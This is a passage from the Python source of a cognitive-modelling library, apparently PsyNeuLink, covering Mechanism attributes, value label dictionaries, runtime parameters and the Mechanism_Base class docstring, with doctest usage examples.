`Component <Component>`, Mechanisms have a set of\nMechanism-specific attributes (listed below). These can be specified in arguments of the Mechanism's constructor,\nin a `parameter specification dictionary <ParameterState_Specification>` assigned to the **params** argument of the\nMechanism's constructor, by direct reference to the corresponding attribute of the Mechanisms after it has been\nconstructed (e.g., ``my_mechanism.param``), or using the Mechanism's `assign_params` method. The Mechanism-specific\nattributes are listed below by their argument names / keywords, along with a description of how they are specified:\n\n * **input_states** / *INPUT_STATES* - a list specifying the Mechanism's input_states\n (see `InputState_Specification` for details of specification).\n ..\n * **output_states** / *OUTPUT_STATES* - specifies specialized OutputStates required by a Mechanism subclass\n (see `OutputState_Specification` for details of specification).\n ..\n * **monitor_for_control** / *MONITOR_FOR_CONTROL* - specifies which of the Mechanism's OutputStates is monitored by\n the `controller` for the System to which the Mechanism belongs (see `specifying monitored OutputStates\n <ObjectiveMechanism_Monitor>` for details of specification).\n ..\n * **monitor_for_learning** / *MONITOR_FOR_LEARNING* - specifies which of the Mechanism's OutputStates is used for\n learning (see `Learning <LearningMechanism_Activation_Output>` for details of specification).\n\n.. _Mechanism_Convenience_Properties:\n\nProjection Convenience Properties\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nA Mechanism also has several convenience properties, listed below, that list its `Projections <Projection>` and the\nMechanisms that send/receive these:\n\n * `projections <Mechanism_Base.projections>` -- all of the Projections sent or received by the Mechanism;\n * `afferents <Mechanism_Base.afferents>` -- all of the Projections received by the Mechanism;\n * `path_afferents <Mechanism_Base.afferents>` -- all of the PathwayProjections received by the Mechanism;\n * `mod_afferents <Mechanism_Base.afferents>` -- all of the ModulatoryProjections received by the Mechanism;\n * `efferents <Mechanism_Base.efferents>` -- all of the Projections sent by the Mechanism;\n * `senders <Mechanism_Base.senders>` -- all of the Mechanisms that send a Projection to the Mechanism\n * `modulators <Mechanism_Base.modulators>` -- all of the AdaptiveMechanisms that send a ModulatoryProjection to the\n Mechanism\n * `receivers <Mechanism_Base.receivers>` -- all of the Mechanisms that receive a Projection from the Mechanism\n\nEach of these is a `ContentAddressableList`, which means that the names of the Components in each list can be listed by\nappending ``.names`` to the property. For examples, the names of all of the Mechanisms that receive a Projection from\n``my_mech`` can be accessed by ``my_mech.receivers.names``.\n\n\n.. _Mechanism_Labels_Dicts:\n\nValue Label Dictionaries\n^^^^^^^^^^^^^^^^^^^^^^^^\n\n*Overview*\n\nMechanisms have two attributes that can be used to specify labels for the values of its InputState(s) and\nOutputState(s):\n\n * *INPUT_LABELS_DICT* -- used to specify labels for values of the InputState(s) of the Mechanism; if specified,\n the dictionary is contained in the Mechanism's `input_labels_dict <Mechanism_Base.input_labels_dict>` attribute.\n\n * *OUTPUT_LABELS_DICT* -- used to specify labels for values of the OutputState(s) of the Mechanism; if specified,\n the dictionary is contained in the Mechanism's `output_labels_dict <Mechanism_Base.output_labels_dict>` attribute.\n\nThe labels specified in these dictionaries can be used to:\n\n - specify items in the `inputs <Run_Inputs>` and `targets <Run_Targets>` arguments of the `run <System.run>` method\n of a `System`\n - report the values of the InputState(s) and OutputState(s) of a Mechanism\n - visualize the inputs and outputs of the System's Mechanisms\n\n*Specifying Label Dictionaries*\n\nLabel dictionaries can only be specified in a parameters dictionary assigned to the **params** argument of the\nMechanism's constructor, using the keywords described above. A standard label dictionary contains key:value pairs of\nthe following form:\n\n * *<state name or index>:<sub-dictionary>* -- this is used to specify labels that are specific to individual States\n of the type corresponding to the dictionary;\n - *key* - either the name of a State of that type, or its index in the list of States of that type (i.e,\n `input_states <Mechanism_Base.input_states>` or `output_states <Mechanism_Base.output_states>`);\n - *value* - a dictionary containing *label:value* entries to be used for that State, where the label is a string\n and the shape of the value matches the shape of the `InputState value <InputState.value>` or `OutputState\n value <OutputState.value>` for which it is providing a *label:value* mapping.\n\n For example, if a Mechanism has two InputStates, named *SAMPLE* and *TARGET*, then *INPUT_LABELS_DICT* could be\n assigned two entries, *SAMPLE*:<dict> and *TARGET*:<dict> or, correspondingly, 0:<dict> and 1:<dict>, in which\n each dictionary contains separate *label:value* entries for the *SAMPLE* and *TARGET* InputStates.\n\n>>> input_labels_dictionary = {pnl.SAMPLE: {\"red\": [0],\n... \"green\": [1]},\n... pnl.TARGET: {\"red\": [0],\n... \"green\": [1]}}\n\nIn the following two cases, a shorthand notation is allowed:\n\n - a Mechanism has only one state of a particular type (only one InputState or only one OutputState)\n - only the index zero InputState or index zero OutputState needs labels\n\nIn these cases, a label dictionary for that type of state may simply contain the *label:value* entries described above.\nThe *label:value* mapping will **only** apply to the index zero state of the state type for which this option is used.\nAny additional states of that type will not have value labels. For example, if the input_labels_dictionary below were\napplied to a Mechanism with multiple InputState, only the index zero InputState would use the labels \"red\" and \"green\".\n\n>>> input_labels_dictionary = {\"red\": [0],\n... \"green\": [1]}\n\n*Using Label Dictionaries*\n\nWhen using labels to specify items in the `inputs <Run_Inputs>` arguments of the `run <System.run>` method, labels may\ndirectly replace any or all of the `InputState values <InputState.value>` in an input specification dictionary. Keep in\nmind that each label must be specified in the `input_labels_dict <Mechanism_Base.input_labels_dict>` of the Origin\nMechanism to which inputs are being specified, and must map to a value that would have been valid in that position of\nthe input dictionary.\n\n >>> import psyneulink as pnl\n >>> input_labels_dict = {\"red\": [[1, 0, 0]],\n ... \"green\": [[0, 1, 0]],\n ... \"blue\": [[0, 0, 1]]}\n >>> M = pnl.ProcessingMechanism(default_variable=[[0, 0, 0]],\n ... params={pnl.INPUT_LABELS_DICT: input_labels_dict})\n >>> P = pnl.Process(pathway=[M])\n >>> S = pnl.System(processes=[P])\n >>> input_dictionary = {M: ['red', 'green', 'blue', 'red']}\n >>> # (equivalent to {M: [[[1, 0, 0]], [[0, 1, 0]], [[0, 0, 1]], [[1, 0, 0]]]}, which is a valid input specification)\n >>> results = S.run(inputs=input_dictionary)\n\nThe same general rules apply when using labels to specify `target values <Run_Targets>` for a pathway with learning.\nWith target values, however, the labels must be included in the `output_labels_dict <Mechanism_Base.output_labels_dict>`\nof the Mechanism that projects to the `TARGET` Mechanism (see `TARGET Mechanisms <LearningMechanism_Targets>`), or in\nother words, the last Mechanism in the `learning sequence <Process_Learning_Sequence>`. This is the same Mechanism used\nto specify target values for a particular learning sequence in the `targets dictionary <Run_Targets>`.\n\n >>> input_labels_dict_M1 = {\"red\": [[1]],\n ... \"green\": [[0]]}\n >>> output_labels_dict_M2 = {\"red\": [1],\n ... \"green\": [0]}\n >>> M1 = pnl.ProcessingMechanism(params={pnl.INPUT_LABELS_DICT: input_labels_dict_M1})\n >>> M2 = pnl.ProcessingMechanism(params={pnl.OUTPUT_LABELS_DICT: output_labels_dict_M2})\n >>> P = pnl.Process(pathway=[M1, M2],\n ... learning=pnl.ENABLED,\n ... learning_rate=0.25)\n >>> S = pnl.System(processes=[P])\n >>> input_dictionary = {M1: ['red', 'green', 'green', 'red']}\n >>> # (equivalent to {M1: [[[1]], [[0]], [[0]], [[1]]]}, which is a valid input specification)\n >>> target_dictionary = {M2: ['red', 'green', 'green', 'red']}\n >>> # (equivalent to {M2: [[1], [0], [0], [1]]}, which is a valid target specification)\n >>> results = S.run(inputs=input_dictionary,\n ... targets=target_dictionary)\n\nSeveral attributes are available for viewing the labels for the current value(s) of a Mechanism's InputState(s) and\nOutputState(s).\n\n - The `label <InputState.label>` attribute of an InputState or OutputState returns the current label of\n its value, if one exists, and its value otherwise.\n\n - The `input_labels <Mechanism_Base.input_labels>` and `output_labels <Mechanism_Base.output_labels>` attributes of\n Mechanisms return a list containing the labels corresponding to the value(s) of the InputState(s) or\n OutputState(s) of the Mechanism, respectively. If the current value of a state does not have a corresponding\n label, then its numeric value is used instead.\n\n>>> output_labels_dict = {\"red\": [1, 0, 0],\n... \"green\": [0, 1, 0],\n... \"blue\": [0, 0, 1]}\n>>> M = pnl.ProcessingMechanism(default_variable=[[0, 0, 0]],\n... params={pnl.OUTPUT_LABELS_DICT: output_labels_dict})\n>>> P = pnl.Process(pathway=[M])\n>>> S = pnl.System(processes=[P])\n>>> input_dictionary = {M: [[1, 0, 0]]}\n>>> results = S.run(inputs=input_dictionary)\n>>> M.get_output_labels(S)\n['red']\n>>> M.output_states[0].get_label(S)\n'red'\n\nLabels may be used to visualize the input and outputs of Mechanisms in a System via the **show_structure** option of the\nSystem's `show_graph <System.show_graph>` method with the keyword **LABELS**.\n\n >>> S.show_graph(show_mechanism_structure=pnl.LABELS)\n\n.. note::\n\n A given label dictionary only applies to the Mechanism to which it belongs, and a given label only applies to its\n corresponding InputState. For example, the label 'red', may translate to different values on different InputStates\n of the same Mechanism, and on different Mechanisms of a System.\n\n.. Mechanism_Attribs_Dicts:\n\nAttribute Dictionary\n^^^^^^^^^^^^^^^^^^^^\n\nA Mechanism has an `attributes_dict` attribute containing a dictionary of its attributes that can be used to\nspecify the `variable <OutputState.variable>` of its OutputStates (see `OutputState_Customization`).\n\n\n.. _Mechanism_Role_In_Processes_And_Systems:\n\n*Role in Processes and Systems*\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMechanisms that are part of one or more `Processes <Process>` are assigned designations that indicate the\n`role <Process_Mechanisms>` they play in those Processes, and similarly for `role <System_Mechanisms>` they play in\nany `Systems <System>` to which they belong. These designations are listed in the Mechanism's `processes\n<Mechanism_Base.processes>` and `systems <Mechanism_Base.systems>` attributes, respectively. Any Mechanism\ndesignated as `ORIGIN` receives a `MappingProjection` to its `primary InputState <InputState_Primary>` from the\nProcess(es) to which it belongs. Accordingly, when the Process (or System of which the Process is a part) is\nexecuted, those Mechanisms receive the input provided to the Process (or System). The `output_values\n<Mechanism_Base.output_values>` of any Mechanism designated as the `TERMINAL` Mechanism for a Process is assigned as\nthe `output <Process.output>` of that Process, and similarly for any System to which it belongs.\n\n.. note::\n A Mechanism that is the `ORIGIN` or `TERMINAL` of a Process does not necessarily have the same role in the\n System(s) to which the Mechanism or Process belongs (see `example <LearningProjection_Target_vs_Terminal_Figure>`).\n\n\n.. _Mechanism_Execution:\n\nExecution\n---------\n\nA Mechanism can be executed using its `execute <Mechanism_Base.execute>` or `run <Mechanism_Base.run>` methods. This\ncan be useful in testing a Mechanism and/or debugging. However, more typically, Mechanisms are executed as part of a\n`Process <Process_Execution>` or `System <System_Execution>`. For either of these, the Mechanism must be included in\nthe `pathway <Process.pathway>` of a Process. There, it can be specified on its own, or as the first item of a\ntuple that also has an optional set of `runtime parameters <Mechanism_Runtime_Parameters>` (see `Process Mechanisms\n<Process_Mechanisms>` for additional details about specifying a Mechanism in a Process `pathway\n<Process.pathway>`).\n\n.. _Mechanism_Runtime_Parameters:\n\n*Runtime Parameters*\n~~~~~~~~~~~~~~~~~~~~\n\n.. note::\n This is an advanced feature, and is generally not required for most applications.\n\nThe parameters of a Mechanism are usually specified when the Mechanism is `created <Mechanism_Creation>`. However,\nthese can be overridden when it `executed <Mechanism_Base.execution>`. This can be done in a `parameter specification\ndictionary <ParameterState_Specification>` assigned to the **runtime_param** argument of the Mechanism's `execute\n<Mechanism_Base.execute>` method, or in a `tuple with the Mechanism <Process_Mechanism_Specification>` in the `pathway`\nof a `Process`. Any value assigned to a parameter in a **runtime_params** dictionary will override the current value of\nthe parameter for that (and *only* that) execution of the Mechanism; the value will return to its previous value\nfollowing that execution.\n\nThe runtime parameters for a Mechanism are specified using a dictionary that contains one or more entries, each of which\nis for a parameter of the Mechanism or its `function <Mechanism_Base.function>`, or for one of the `Mechanism's States\n<Mechanism_States>`. Entries for parameters of the Mechanism or its `function <Mechanism_Base.function>` use the\nstandard format for `parameter specification dictionaries <ParameterState_Specification>`. Entries for the Mechanism's\nStates can be used to specify runtime parameters of the corresponding State, its `function <State_Base.function>`, or\nany of the `Projections to that state <State_Projections>`. Each entry for the parameters of a State uses a key\ncorresponding to the type of State (*INPUT_STATE_PARAMS*, *OUTPUT_STATE_PARAMS* or *PARAMETER_STATE_PARAMS*), and a\nvalue that is a sub-dictionary containing a dictionary with the runtime parameter specifications for all States of that\ntype). Within that sub-dictionary, specification of parameters for the State or its `function <State_Base.function>` use\nthe standard format for a `parameter specification dictionary <ParameterState_Specification>`. Parameters for all of\nthe `State's Projections <State_Projections>` can be specified in an entry with the key *PROJECTION_PARAMS*, and a\nsub-dictionary that contains the parameter specifications; parameters for Projections of a particular type can be\nplaced in an entry with a key specifying the type (*MAPPING_PROJECTION_PARAMS*, *LEARNING_PROJECTION_PARAMS*,\n*CONTROL_PROJECTION_PARAMS*, or *GATING_PROJECTION_PARAMS*; and parameters for a specific Projection can be placed in\nan entry with a key specifying the name of the Projection and a sub-dictionary with the specifications.\n\nCOMMENT:\n ADD EXAMPLE(S) HERE\nCOMMENT\n\nCOMMENT:\n?? DO PROJECTION DICTIONARIES PERTAIN TO INCOMING OR OUTGOING PROJECTIONS OR BOTH??\n?? CAN THE KEY FOR A STATE DICTIONARY REFERENCE A SPECIFIC STATE BY NAME, OR ONLY STATE-TYPE??\n\nState keyword: dict for State's params\n Function or Projection keyword: dict for Funtion or Projection's params\n parameter keyword: vaue of param\n\n dict: can be one (or more) of the following:\n + INPUT_STATE_PARAMS:<dict>\n + PARAMETER_STATE_PARAMS:<dict>\n [TBI + OUTPUT_STATE_PARAMS:<dict>]\n - each dict will be passed to the corresponding State\n - params can be any permissible executeParamSpecs for the corresponding State\n - dicts can contain the following embedded dicts:\n + FUNCTION_PARAMS:<dict>:\n will be passed the State's execute method,\n overriding its paramInstanceDefaults for that call\n + PROJECTION_PARAMS:<dict>:\n entry will be passed to all of the State's Projections, and used by\n by their execute methods, overriding their paramInstanceDefaults for that call\n + MAPPING_PROJECTION_PARAMS:<dict>:\n entry will be passed to all of the State's MappingProjections,\n along with any in a PROJECTION_PARAMS dict, and override paramInstanceDefaults\n + LEARNING_PROJECTION_PARAMS:<dict>:\n entry will be passed to all of the State's LearningProjections,\n along with any in a PROJECTION_PARAMS dict, and override paramInstanceDefaults\n + CONTROL_PROJECTION_PARAMS:<dict>:\n entry will be passed to all of the State's ControlProjections,\n along with any in a PROJECTION_PARAMS dict, and override paramInstanceDefaults\n + GATING_PROJECTION_PARAMS:<dict>:\n entry will be passed to all of the State's GatingProjections,\n along with any in a PROJECTION_PARAMS dict, and override paramInstanceDefaults\n + <ProjectionName>:<dict>:\n entry will be passed to the State's Projection with the key's name,\n along with any in the PROJECTION_PARAMS and MappingProjection or ControlProjection dicts\nCOMMENT\n\n.. _Mechanism_Class_Reference:\n\nClass Reference\n---------------\n\n\"\"\"\n\nimport inspect\nimport itertools\nimport logging\nimport warnings\n\nfrom collections import OrderedDict\nfrom inspect import isclass\n\nimport numpy as np\nimport typecheck as tc\n\nfrom psyneulink.core import llvm as pnlvm\nfrom psyneulink.core.components.component import Component, function_type, method_type\nfrom psyneulink.core.components.functions.function import FunctionOutputType, ADDITIVE_PARAM, MULTIPLICATIVE_PARAM\nfrom psyneulink.core.components.functions.transferfunctions import Linear\nfrom psyneulink.core.components.shellclasses import Function, Mechanism, Projection, State\nfrom psyneulink.core.components.states.inputstate import DEFER_VARIABLE_SPEC_TO_MECH_MSG, InputState\nfrom psyneulink.core.components.states.modulatorysignals.modulatorysignal import _is_modulatory_spec\nfrom psyneulink.core.components.states.outputstate import OutputState\nfrom psyneulink.core.components.states.parameterstate import ParameterState\nfrom psyneulink.core.components.states.state import REMOVE_STATES, _parse_state_spec\nfrom psyneulink.core.globals.context import ContextFlags\nfrom psyneulink.core.globals.keywords import \\\n CURRENT_EXECUTION_COUNT, CURRENT_EXECUTION_TIME, EXECUTION_PHASE, FUNCTION, FUNCTION_PARAMS, \\\n INITIALIZING, INIT_EXECUTE_METHOD_ONLY, INIT_FUNCTION_METHOD_ONLY, \\\n INPUT_LABELS_DICT, INPUT_STATES, INPUT_STATE_VARIABLES, MONITOR_FOR_CONTROL, MONITOR_FOR_LEARNING, \\\n OUTPUT_LABELS_DICT, OUTPUT_STATES, OWNER_VALUE, PARAMETER_STATES, PREVIOUS_VALUE, REFERENCE_VALUE, \\\n TARGET_LABELS_DICT, VALUE, VARIABLE, kwMechanismComponentCategory\nfrom psyneulink.core.globals.parameters import Parameter, parse_execution_context\nfrom psyneulink.core.globals.preferences.preferenceset import PreferenceLevel\nfrom psyneulink.core.globals.registry import register_category, remove_instance_from_registry\nfrom psyneulink.core.globals.utilities import ContentAddressableList, ReadOnlyOrderedDict, append_type_to_name, convert_to_np_array, iscompatible, kwCompatibilityNumeric\n\n__all__ = [\n 'Mechanism_Base', 'MechanismError', 'MechanismRegistry'\n]\n\nlogger = logging.getLogger(__name__)\nMechanismRegistry = {}\n\n\nclass MechanismError(Exception):\n def __init__(self, error_value):\n self.error_value = error_value\n\n def __str__(self):\n return repr(self.error_value)\n\n\nfrom collections import UserDict\nclass MechParamsDict(UserDict):\n \"\"\"Subclass for validation of dicts used to pass Mechanism parameters to OutputState for variable specification.\"\"\"\n pass\n\n\ndef _input_state_variables_getter(owning_component=None, execution_id=None):\n try:\n return [input_state.parameters.variable.get(execution_id) for input_state in owning_component.input_states]\n except TypeError:\n return None\n\n\nclass Mechanism_Base(Mechanism):\n \"\"\"Base class for Mechanism.\n\n .. note::\n Mechanism is an abstract class and should **never** be instantiated by a direct call to its constructor.\n It should be instantiated using the :class:`mechanism` command (see it for description of parameters),\n by calling the constructor for a subclass, or using other methods for specifying a Mechanism in context\n (see `Mechanism_Creation`).\n\n COMMENT:\n Description\n -----------\n Mechanism is a Category of the Component class.\n A Mechanism is associated with a name and:\n - one or more input_states:\n two ways to get multiple input_states, if supported by Mechanism subclass being instantiated:\n • specify 2d variable for Mechanism (i.e., without explicit InputState specifications)\n once the variable of the Mechanism has been converted to a 2d array, an InputState is assigned\n for each item of axis 0, and the corresponding item is assigned as the InputState's variable\n • explicitly specify input_states in params[*INPUT_STATES*] (each with its own variable\n specification); those variables will be concantenated into a 2d array to create the Mechanism's\n variable\n if both methods are used, they must generate the same sized variable for the mechanims\n ?? WHERE IS THIS CHECKED? WHICH TAKES PRECEDENCE: InputState SPECIFICATION (IN _instantiate_state)??\n - an execute method:\n coordinates updating of input_states, parameter_states (and params), execution of the function method\n implemented by the subclass, (by calling its _execute method), and updating of the OutputStates\n - one or more parameters, each of which must be (or resolve to) a reference to a ParameterState\n these determine the operation of the function of the Mechanism subclass being instantiated\n - one or more OutputStates:\n the variable of each receives the corresponding item in the output of the Mechanism's function\n the value of each is passed to corresponding MappingProjections for which the Mechanism is a sender\n * Notes:\n by default, a Mechanism has only one OutputState, assigned to <Mechanism>.outputState; however:\n if params[OUTPUT_STATES] is a list (of names) or specification dict (of MechanismOuput State\n specs), <Mechanism>.output_states (note plural) is created and contains a list of OutputStates,\n the first of which points to <Mechanism>.outputState (note singular)\n [TBI * each OutputState maintains a list of Projections for which it serves as the sender]\n\n Constraints\n -----------\n - the number of input_states must correspond to the length of the variable of the Mechanism's execute method\n - the value of each InputState must be compatible with the corresponding item in the\n variable of the Mechanism's execute method\n - the value of each ParameterState must be compatible with the corresponding parameter of the Mechanism's\n execute method\n - the number of OutputStates must correspond to the length of the output of the Mechanism's execute method,\n (self.defaults.value)\n - the value of each OutputState must be compatible with the corresponding item of the self.value\n (the output of the Mechanism's execute method)\n\n Class attributes\n ----------------\n + componentCategory = kwMechanismFunctionCategory\n + className = componentCategory\n + suffix = \" <className>\"\n + className (str): kwMechanismFunctionCategory\n + suffix (str): \" <className>\"\n + registry (dict): MechanismRegistry\n + classPreference (PreferenceSet): Mechanism_BasePreferenceSet, instantiated in __init__()\n + classPreferenceLevel (PreferenceLevel): PreferenceLevel.CATEGORY\n + class_defaults.variable (list)\n + paramClassDefaults (dict):\n + [TBI: kwMechanismExecutionSequenceTemplate (list of States):\n specifies order in which types of States are executed; used by self.execute]\n + default_mechanism (str): Currently DDM_MECHANISM (class reference resolved in __init__.py)\n\n Class methods\n -------------\n - _validate_variable(variable, context)\n - _validate_params(request_set, target_set, context)\n - terminate_execute(self, context=None): terminates execution of Mechanism (for TimeScale = time_step)\n - adjust(params, context)\n modifies specified Mechanism params (by calling Function._instantiate_defaults)\n returns output\n - plot(): generates a plot of the Mechanism's function using the specified parameter values\n\n MechanismRegistry\n -----------------\n All Mechanisms are registered in MechanismRegistry, which maintains a dict for each subclass,\n a count for all instances of that type, and a dictionary of those instances\n COMMENT\n\n Attributes\n ----------\n\n variable : at least ndarray : default self.defaults.variable\n used as input to the Mechanism's `function <Mechanism_Base.function>`. It is always at least a 2d np.array,\n with each item of axis 0 corresponding to a `value <InputState.value>` of one of the Mechanism's `InputStates\n <InputState>` (in the order they are listed in its `input_states <Mechanism_Base.input_states>` attribute), and\n the first item (i.e., item 0) corresponding to the `value <InputState.value>` of the `primary InputState\n <InputState_Primary>`. When specified in the **variable** argument of the constructor for the Mechanism,\n it is used as a template to define the format (shape and type of elements) of the input the Mechanism's\n `function <Mechanism_Base.function>`.\n\n .. _receivesProcessInput (bool): flags if Mechanism (as first in Pathway) receives Process input Projection\n\n input_state : InputState : default default InputState\n `primary InputState <InputState_Primary>` for the Mechanism; same as first entry of its `input_states\n <Mechanism_Base.input_states>` attribute. Its `value <InputState.value>` is assigned as the first item of the\n Mechanism's `variable <Mechanism_Base.variable>`.\n\n input_states : ContentAddressableList[str, InputState]\n a list of the Mechanism's `InputStates <Mechanism_InputStates>`. The first (and possibly only) entry is always\n the Mechanism's `primary InputState <InputState_Primary>` (i.e., the one in the its `input_state\n <Mechanism_Base.input_state>` attribute).\n\n input_values : List[List or 1d np.array] : default self.defaults.variable\n each item in the list corresponds to the `value <InputState.value>` of one of the Mechanism's `InputStates\n <Mechanism_InputStates>` listed in its `input_states <Mechanism_Base.input_states>` attribute. The value of\n each item is the same as the corresponding item in the Mechanism's `variable <Mechanism_Base.variable>`\n attribute. The latter is a 2d np.array; the `input_values <Mechanism_Base.input_values>` attribute provides\n this information in a simpler list format.\n\n input_labels_dict : dict\n contains entries that are either label:value pairs, or sub-dictionaries containing label:value pairs,\n in which each label (key) specifies a string associated with a value for the InputState(s) of the\n Mechanism; see `Mechanism_Labels_Dicts` for additional details.\n\n input_labels : list\n contains the labels corresponding to the value(s) of the InputState(s) of the Mechanism. If the current value\n of an InputState does not have a corresponding label, then its numeric value is used instead.\n\n external_input_values : list\n same as `input_values <Mechanism_Base.input_values>`, but containing the `value <InputState.value>` only of\n InputStates that are not designated as `internal_only <InputState.internal_only>`.\n\n COMMENT:\n target_labels_dict : dict\n contains entries that are either label:value pairs, or sub-dictionaries containing label:value pairs,\n in which each label (key) specifies a string associated with a value for the InputState(s) of the\n Mechanism if it is the `TARGET` Mechanism for a System; see `Mechanism_Labels_Dicts` and\n `target mechanism <LearningMechanism_Targets>` for additional details.\n COMMENT\n\n parameter_states : ContentAddressableList[str, ParameterState]\n a read-only list of the Mechanism's `ParameterStates <Mechanism_ParameterStates>`, one for each of its\n `configurable parameters <ParameterState_Configurable_Parameters>`, including those of its `function\n <Mechanism_Base.function>`. The value of the parameters of the Mechanism and its `function\n <Mechanism_Base.function>` are also accessible as (and can be modified using) attributes of the Mechanism\n (see `Mechanism_ParameterStates`).\n\n COMMENT:\n MOVE function and function_params (and add user_params) to Component docstring\n COMMENT\n\n function : Function, function or method\n the primary function for the Mechanism, called when it is `executed <Mechanism_Execution>`. It takes the\n Mechanism's `variable <Mechanism_Base.variable>` attribute as its input, and its result is assigned to the\n Mechanism's `value <Mechanism_Base.value>` attribute.\n\n function_params : Dict[str, value]\n contains the parameters for the Mechanism's `function <Mechanism_Base.function>`. The key of each entry is the\n name of a parameter of the function, and its value is the parameter's value.\n\n value : ndarray\n output of the Mechanism's `function <Mechanism_Base.function>`. It is always at least a 2d np.array, with the\n items of axis 0 corresponding to the values referenced by the corresponding `index <OutputState.index>`\n attribute of the Mechanism's `OutputStates <OutputState>`. The first item is generally referenced by the\n Mechanism's `primary OutputState <OutputState_Primary>` (i.e., the one in the its `output_state\n <Mechanism_Base.output_state>` attribute). The `value <Mechanism_Base.value>` is `None` until the Mechanism\n has been executed at least once.\n\n .. note::\n the `value <Mechanism_Base.value>` of a Mechanism is not necessarily the same as its\n `output_values <Mechanism_Base.output_values>` attribute, which lists the `values <OutputState.value>`\n of its `OutputStates <Mechanism_Base.outputStates>`.\n\n output_state : OutputState\n `primary OutputState <OutputState_Primary>` for the Mechanism; same as first entry of its `output_states\n <Mechanism_Base.output_states>` attribute.\n\n output_states : ContentAddressableList[str, OutputState]\n list of the Mechanism's `OutputStates <Mechanism_OutputStates>`.\n\n There is always\n at least one entry, which identifies the Mechanism's `primary OutputState <OutputState_Primary>`.\n\n a list of the Mechanism's `OutputStates <Mechanism_OutputStates>`. The first (and possibly only) entry is always\n the Mechanism's `primary OutputState <OutputState_Primary>` (i.e., the one in the its `output_state\n <Mechanism_Base.output_state>` attribute).\n\n output_values : List[value]\n each item in the list corresponds to the `value <OutputState.value>` of one of the Mechanism's `OutputStates\n <Mechanism_OutputStates>` listed in its `output_states <Mechanism_Base.output_states>` attribute.\n\n .. note:: The `output_values <Mechanism_Base.output_values>` of a Mechanism is not necessarily the same as its\n `value <Mechanism_Base.value>` attribute, since an OutputState's\n `function <OutputState.OutputState.function>` and/or its `assign <Mechanism_Base.assign>`\n attribute may use the Mechanism's `value <Mechanism_Base.value>` to generate a derived quantity for\n the `value <OutputState.OutputState.value>` of that OutputState (and its corresponding item in the\n the Mechanism's `output_values <Mechanism_Base.output_values>` attribute).\n\n COMMENT:\n EXAMPLE HERE\n COMMENT\n\n .. _outputStateValueMapping : Dict[str, int]:\n contains the mappings of OutputStates to their indices in the output_values list\n The key of each entry is the name of an OutputState, and the value is its position in the\n :py:data:`OutputStates <Mechanism_Base.output_states>` ContentAddressableList.\n Used in ``_update_output_states`` to assign the value of each OutputState to the correct item of\n the Mechanism's ``value`` attribute.\n Any Mechanism with a function that returns a value with more than one item (i.e., len > 1) MUST implement\n self.execute rather than just use the params[FUNCTION]. This is so that _outputStateValueMapping\n can be implemented.\n TBI: if the function of a Mechanism is specified only by params[FUNCTION]\n (i.e., it does not implement self.execute) and it returns a value with len > 1\n it MUST also specify kwFunctionOutputStateValueMapping.\n\n output_labels_dict : dict\n contains entries that are either label:value pairs, or sub-dictionaries containing label:value pairs,\n in which each label (key) specifies a string associated with a value for the OutputState(s) of the\n Mechanism; see `Mechanism_Labels_Dicts` for additional details.\n\n output_labels : list\n contains the labels corresponding to the value(s) of the OutputState(s) of the Mechanism. If the current value\n of an OutputState does not have a corresponding label, then its numeric value is used instead.\n\n condition : Condition : None\n condition to be associated with the Mechanism in the `Scheduler` responsible for executing it in each\n `System` to which it is assigned; if it is not specified (i.e., its value is `None`), the default\n Condition for a `Component` is used. It can be overridden in a given `System` by assigning a Condition for\n the Mechanism directly to a Scheduler that is then assigned to the System.\n\n COMMENT:\n phaseSpec : int or float : default 0\n determines the `TIME_STEP` (s) at which the Mechanism is executed as part of a System\n (see :ref:`Process_Mechanisms` for specification, and :ref:`System Phase <System_Execution_Phase>`\n for how phases are used).\n COMMENT\n\n states : ContentAddressableList\n a list of all of the Mechanism's `States <State>`, composed from its `input_states\n <Mechanism_Base.input_states>`, `parameter_states <Mechanism_Base.parameter_states>`, and\n `output_states <Mechanism_Base.output_states>` attributes.\n\n projections : ContentAddressableList\n a list of all of the Mechanism's `Projections <Projection>`, composed from the\n `path_afferents <InputStates.path_afferents>` of all of its `input_states <Mechanism_Base.input_states>`,\n the `mod_afferents` of all of its `input_states <Mechanism_Base.input_states>`,\n `parameter_states <Mechanism)Base.parameter_states>`, and `output_states <Mechanism_Base.output_states>`,\n and the `efferents <OutputState.efferents>` of all of its `output_states <Mechanism_Base.output_states>`.\n\n afferents : ContentAddressableList\n a list of all of the Mechanism's afferent `Projections <Projection>`, composed from the\n `path_afferents <InputStates.path_afferents>` of all of its `input_states <Mechanism_Base.input_states>`,\n and the `mod_afferents` of all of its `input_states <Mechanism_Base.input_states>`,\n `parameter_states <Mechanism)Base.parameter_states>`, and `output_states <Mechanism_Base.output_states>`.,\n\n path_afferents : ContentAddressableList\n a list of all of the Mechanism's afferent `PathwayProjections <PathwayProjection>`, composed from the\n `path_afferents <InputStates.path_afferents>` attributes of all of its `input_states\n <Mechanism_Base.input_states>`.\n\n mod_afferents : ContentAddressableList\n a list of all of the Mechanism's afferent `ModulatoryProjections <ModulatoryProjection>`, composed from the\n `mod_afferents` attributes of all of its `input_states <Mechanism_Base.input_states>`, `parameter_states\n <Mechanism)Base.parameter_states>`, and `output_states <Mechanism_Base.output_states>`.\n\n efferents : ContentAddressableList\n a list of all of the Mechanism's efferent `Projections <Projection>`, composed from the `efferents\n <OutputState.efferents>` attributes of all of its `output_states <Mechanism_Base.output_states>`.\n\n senders : ContentAddressableList\n a list of all of the Mechanisms that send `Projections <Projection>` to the Mechanism (i.e., the senders of\n its `afferents <Mechanism_Base.afferents>`; this includes both `ProcessingMechanisms <ProcessingMechanism>`\n (that send `MappingProjections <MappingProjection>` and `AdaptiveMechanisms <AdaptiveMechanism>` (that send\n `ModulatoryProjections <ModulatoryProjection>` (also see `modulators <Mechanism_Base.modulators>`).\n\n modulators : ContentAddressableList\n a list of all of the `AdapativeMechanisms <AdaptiveMechanism>` that send `ModulatoryProjections\n <ModulatoryProjection>` to the Mechanism (i.e., the senders of its `mod_afferents\n <Mechanism_Base.mod_afferents>` (also see `senders <Mechanism_Base.senders>`).\n\n receivers : ContentAddressableList\n a list of all of the Mechanisms that receive `Projections <Projection>` from the Mechanism (i.e.,\n the receivers of its `efferents <Mechanism_Base.efferents>`.\n\n processes : Dict[Process, str]\n a dictionary of the `Processes <Process>` to which the Mechanism belongs, that designates its `role\n <Mechanism_Role_In_Processes_And_Systems>` in each. The key of each entry is a Process to which the Mechansim\n belongs, and its value is the Mechanism's `role in that Process 